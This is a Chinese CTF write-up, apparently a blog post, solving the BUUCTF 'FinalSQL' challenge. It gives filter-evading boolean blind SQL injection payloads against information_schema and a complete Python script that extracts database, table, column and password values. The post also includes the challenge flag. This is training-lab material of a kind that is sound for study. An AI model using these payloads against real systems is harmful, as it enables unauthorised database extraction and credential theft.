BUUCTF [极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

操作

打开题目,又是这个鬼
在这里插入图片描述
跟着他的流程走,点按钮
在这里插入图片描述

让我们试试别的
在这里插入图片描述

告诉我们对了,但是不是这张表(埋坑)
怀疑这个地址是存在sql注入的,经过fuzz,发现过滤了空格,union之类的关键字,经过一系列的尝试,猜想后台原句

select * fromwhere id=1

通过构造语句,发现正确的页面回显
在这里插入图片描述

''or(ascii(substr(database(),1,1))>32)

接下来就是拿脚本盲注了注入了
以下是注入发现的信息

用户:root@localhost
数据库名:Click
表名:F1naI1y
字段名:id,username,password
	username:mygod,welcome,site,site,site,site,Syc,finally,flag
	password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908} 

表名:Flaaaaag
字段名:id,fl4gawsl

以下是我总结的payload

爆当前数据库所有表名
(select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database()))

爆flag表所有字段名
(select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='flag'))

爆详细信息
(select(GROUP_CONCAT(fl4gawsl))from(Flaaaaag))

脚本

import requests
import time

# url是随时更新的,具体的以做题时候的为准
url = 'http://8d08c7b6-e6f3-4df0-b71c-a2a397891bab.node3.buuoj.cn/search.php?id='
i = 0
flag = ''
while True:
    i += 1
    # 从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin + end) // 2
    while begin < end:
        print(begin, tmp, end)
        time.sleep(0.1)
        # 爆数据库
        # payload = "''or(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
        # 爆表
        # payload = "''or(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
        # 爆字段
        # payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),%d,1))>%d)" % (i, tmp)
        # 爆flag 要跑很久
        # payload = "''or(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, tmp)
        # 爆flag 很快
        payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i, tmp)
        # 错误示例
        # payload = "''or(ascii(substr((select(GROUP_CONCAT(fl4gawsl))from(Flaaaaag)),%d,1))>%d)" % (i, tmp)

        r = requests.get(url+payload)
        if 'Click' in r.text:
            begin = tmp + 1
            tmp = (begin + end) // 2
        else:
            end = tmp
            tmp = (begin + end) // 2

    flag += chr(tmp)
    print(flag)
    if begin == 32:
        break

总结

这题最坑的一点就是,两张表里最让人感觉藏着flag的表里的那个flag字段居然不能查
在这里插入图片描述
而真正的flag却藏在另一张表的password字段的最后一位
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值